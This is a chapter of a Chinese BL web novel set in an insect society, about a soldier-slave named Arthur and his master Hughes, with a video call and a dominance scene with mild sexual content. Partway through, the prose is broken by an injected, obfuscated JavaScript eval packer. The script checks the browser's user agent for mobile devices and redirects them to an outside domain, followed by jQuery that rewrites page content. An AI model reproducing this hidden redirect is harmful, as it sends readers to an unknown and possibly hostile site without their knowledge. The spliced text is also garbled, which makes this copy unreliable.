20.雄主,我很想您
作品:《封建大爹穿越成雄虫后》 “欢迎加入破晓军团。”凯文压下疑惑,转身引路,“我先带你去领军装,然后熟悉下环境。”
“谢谢。”亚瑟跟在凯文身后,步伐稳健。
军营的布局大同小异,他很快摸清方位,但不远处传来的窃窃私语却让他微微蹙眉——
“看那个金属环...”
“居然是雌奴...”
“怎么混进来的...”
凯文尴尬地清了清嗓子,那些议论声立刻消失不见。
亚瑟面色如常,仿佛没听见一般。
在军部,实力才是硬道理。
他相信,只要在实战演练中展现出足够的力量,这些流言自会烟消云散。
午餐时间,亚瑟独自坐在角落,拧开配发的营养液。
熟悉的苦涩在口腔蔓延,是曾经习以为常的味道,如今却觉得有些难以下咽。
他放下空瓶,脑海中突然浮现雄主的面容……
往常这时,他该在庄园里为雄主布菜,细心地记录下雄虫对每道菜的偏好。
现在换成机器虫侍奉,不知道雄主是否吃得顺心...
指尖在光脑上悬停许久,亚瑟终于鼓起勇气发了条问安讯息。
时间一分一秒过去,就在他以为不会收到回复时,光脑突然震动——
视频请求的提示灯在急促闪烁。
“滋啦——”
亚瑟猛地从座位上弹起,椅子在地面划出刺耳的声响。
他顾不得周围同僚诧异的目光,抓起光脑冲出休息室,在走廊拐角处颤抖着手指按下接听键 。
全息投影展开的瞬间,亚瑟立即挺直腰背,军靴并拢发出清脆的碰撞声:“雄主。”
修斯端坐在书房,银丝镜框架在高挺的鼻梁上,镜片后的黑眸冷淡地扫过亚瑟的新军装。
那视线像带着实质的重量,让亚瑟不自觉屏住呼吸。
“找个没虫的地方,”修斯的指尖轻叩桌面,“跪下回话。”
“是,雄主。”亚瑟的耳尖瞬间烧红。
他闪身钻进重力训练室,金属门在身后闭合的瞬间,膝盖已经贴上冰凉的地面。
双腿微分,双手背在身后,是最标准的雌奴跪姿。
投影中的修斯继续翻阅文件,声音不疾不徐:“今天还顺利吗?”
“回雄主,一切顺利。”
纸张翻动的沙沙声中,雄虫的声音忽然柔和几分:“知道问安,看来没忘记自己的本分。”
这句夸奖让亚瑟的心脏漏跳一拍。
他鼓起勇气小声问:“雄主...您中午吃得好吗?”
修斯的眉头几不可察地皱了一下:“不怎么样。”他合上文件,微微抬眸,目光穿透虚空,落在亚瑟身上,意味深长道:“不过晚餐应该会不错,你觉得呢?”
“是。”亚瑟立刻会意,声音带着掩饰不住的雀跃 :“我会在尽早下班,为您准备晚餐。”
“嗯。” 修斯音容冷淡的应了声,正准备挂断,亚瑟突然急切地喊了声:“雄主!"
指尖悬在半空,修斯挑眉:"还有事?"
雌虫的耳根红得滴血,他局促地低下头,又忍不住抬眼偷瞄,冰蓝色的眼眸里漾着水光:“我...我很想您。”
修斯目光一滞,随即唇角勾起抹戏谑的弧度:“撒娇精。”
投影骤然熄灭,训练室重归寂静。
亚瑟仍保持着跪姿,剧烈的心跳撞得胸口发疼。
雄虫那句带着宠溺的责备像蜜糖般在心头化开,甜得他指尖发麻。
门外在这时传来脚步声,亚瑟慌忙起身。
当他重新推开训练室的门时,又变回那个冷峻的军雌。
唯有耳根未褪的红晕,泄露了方才的秘密。
视频通话结束后,修斯将光脑随手搁在书桌上。
他摘下鼻梁上的银丝眼镜,修长的手指轻轻按压太阳穴,随即起身走向落地窗,看着窗外的草坪在风中泛起波浪般的纹路。
那只雌虫......
修斯的指尖无意识地摩挲着窗框。
最初收留他,不过是当作一只漂亮的宠物,可不知从何时起,事情开始偏离他预设的轨道。
修斯很清楚自己擅长什么——伪装、算计、将一切控制在股掌之间,若亚瑟懂得遮掩,他大可以继续视而不见。
可偏偏那只雌虫不会隐藏,看向他的眼神烫得惊心,赤裸裸地昭示着不该有的心思,仿佛他是唯一的信仰与归处。
"麻烦......"
修斯低声自语,尾钩从椎骨出探出,在身后危险地摇晃。
窗外,一片落叶打着旋儿坠入喷泉。
修斯注视着水面上泛起的涟漪,眸色渐深。
是时候重新审视这段关系了……
..........
与雄主通完视频后,亚瑟一整天都精神抖擞。
首日报道,军务并不繁重,他掐着点准时下班离开军部。
飞行器在航道上疾驰,仪表盘上的速度指针已抵达红线。
若不是首都星有限速管制,亚瑟恨不得将推进器拉到最满。
“雌父!”
刚踏入庄园,一道小小的身影就飞扑过来。
米洛浑身是汗,光剑还别在腰间,显然刚结束训练。
亚瑟接住虫崽,轻放在地,弯腰揉了揉他栗色的头发:“乖,晚点再检查你的功课。”
话音未落,他已快步奔向城堡。
军靴踏在大理石台阶上发出清脆的声响,却在三楼拐角处戛然而止。
雄虫对自己的时间管理向来严苛,这个点,应该还在训练。
亚瑟立刻调转方向,三步并作两步冲向训练室。
推开厚重的隔音门,扑面而来的是汗水与信息素交织的气息。
擂台上,修斯正全神贯注的击打沙袋。
黑色的无袖衫被汗水浸透,紧贴在精瘦的腰腹上,每一记重拳都带动背肌流畅起伏,在灯光下勾勒出令虫心悸的线条。
“雄主。”亚瑟在擂台边屈膝跪下,目光虔诚地追随着那道身影。
修斯恍若未闻,继续完成最后一组拳击。
直到计时器响起,他才停下动作,慢条斯理地解开拳击绷带:“军部的工作结束了?”
“是。”
见雄虫走下擂台,亚瑟立即起身递上毛巾和温水。
他小心翼翼帮雄虫擦拭着鬓角的汗水,指尖克制地不敢多碰触半分。
修斯仰头饮尽杯中的水,一个抬手示意,亚瑟立刻退后半步,仍保持着微微前倾的恭敬姿态。
黑眸缓缓扫过雌虫全身,最后定格在那枚赤色徽章上——「玫瑰与剑」在灯光下熠熠生辉。
修斯的唇角几不可察地上扬:“这套军装很适合你。 ”
低沉的嗓音让亚瑟耳尖发烫:“雄主喜欢的话,我可以向军部多申请两套...”声音越来越小,带着小心翼翼的试探。
修斯不置可否地挑眉:“去准备晚餐。” 说完,转身走向淋浴间。
“是。”没得到明确答复,亚瑟不敢擅作主张,恭敬地退出训练室。
晚餐后的庄园格外宁静。
亚瑟将晒干的虫尸细细研磨,粉末在灯光下泛着琥珀色的光泽。
滚水冲下去的瞬间,浓郁的香气弥漫开来——这是雄虫每晚工作时必备的饮品。
端着温热的虫饮,亚瑟轻手轻脚地上楼,指尖无意识地摩挲着杯壁,心里盘算着小心思。
今日雄主心情不错,或许......他能趁机......
“进来。”
低沉的声音透过门板传来,亚瑟深吸一口气推门而入。
修斯正伏案批阅文件,银丝眼镜反射着冷光。
“雄主,您的虫饮。”
亚瑟将瓷杯轻放在指定位置,杯底与桌面接触时没发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427198|184297||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出一丝声响。
他犹豫片刻,还是轻声开口:“雄主,有什么我能帮忙的吗?”
钢笔尖在纸上顿住,修斯缓缓转头,眯起的黑眸带着审视的意味:“哦?你想插手破晓军团的事务?”
“不是的!”亚瑟脸色骤变,慌忙跪下:“我绝无此意。”
他只是想分担些琐碎的工作,比如整理资料或核对普通账目。
哪怕能在雄虫身边多待一刻也是好的。
凌厉的视线如刀锋刮过,确认亚瑟没有非分之想后,修斯冷声道:“我的工作不需要你插手。”
"是..."亚瑟难堪地低头,正准备退下,却听雄虫再次开口:“不过有件工作之外的事,确实需要你。”
失落瞬间化为期待,亚瑟急切地抬头:“请您吩咐。”
修斯转动座椅,用鞋尖点了点书桌下的空隙。
见雌虫仍愣在原地,他不耐烦地挑眉:“跪过来。”
亚瑟立刻手脚并用地爬过去。
书桌下的空间对雄虫的双腿而言绰绰有余,但对成年雌虫却显得有些逼仄。
他小心调整着姿势,膝盖抵在柔软的地毯上,后背几乎贴着桌板。
“雄主,我能做什么?”
话音未落,椅子滑动的声音响起,雄虫骤然逼近。
“!”
亚瑟的脸正对着修斯的腰腹部。
他的脸“唰”地涨红。
雄主说‘能做的事’难道是指......?
心脏在胸腔内疯狂跳动,既期待又忐忑。
亚瑟小心翼翼伸出手,指尖刚要碰到雄虫的裤腰——
“啪!”
手背被狠狠拍开。
“想什么呢?”修斯眯起眼,声音里带着危险的意味,“满脑子废料的荡虫,把爪子给我背到身后去。”
被戳破心思的亚瑟耳根烧得更红了,他蜷了蜷发麻的指尖,乖乖照做。
又在雄虫不满的注视下,挺直腰背,跪的更端正。
修斯这才收回目光。
他慢条斯理地抽出脚,赤裸的脚掌踩上亚瑟的膝盖,然后顺着大腿内侧缓缓上移,最终停在束腰的金属扣上。
“解开外套,把衬衣掀起来用嘴咬住。”
“是...雄主。”亚瑟手忙脚乱地照做。
手指颤抖着解开军装扣子,低头咬住雪白的衬衣下摆时,亚瑟羞耻得连睫毛都在发抖。
下一秒,微凉的脚掌便贴上他发烫的腹肌。
亚瑟浑身一抖,差点咬不住衣料。
“捧住我的脚踝。”修斯的声音从头顶传来,“从现在起,你的作用就是暖脚,不许动,不许说话,直到我工作结束。”
不能言语的亚瑟只能眨眨眼。
他小心翼翼地捧住雄虫骨节分明的脚踝,冰蓝色的眼眸湿漉漉地向上望,里面盛着化不开的孺慕。
修斯眸光一暗。
据说,每只狗狗的性格都不同——而他养的这只,未免太黏人了些。
书房重归寂静,只剩下文件翻动的沙沙声,和书桌下明显紊乱的呼吸声。
时而急促,时而绵长,像一首不成调的曲子,将雌虫隐秘的心思暴露无遗。
修斯合上最后一份文件,指尖揉了揉眉心,他微微后仰,垂眸看向桌下的雌虫——
通过被他踩住的那片皮肤,修斯能清晰感受到雌虫的体温越来越高。
也不知这只蠢虫子在兴奋些什么?再这样下去怕是要自燃了。
修斯蹙眉,足尖在雌虫紧绷的腹肌上恶劣地碾了碾:“我不是说不能动吗?”
被唾液浸透的衬衣下摆明显深了一块,软塌塌地挂在嘴边,随着急促的呼吸轻轻晃动。
亚瑟茫然地眨眨眼,神色无辜。
他没有动。
“不承认?”修斯的目光如利刃般下移,落在某个不容忽视的地方,唇角勾起抹戏谑,“那这是怎么回事?”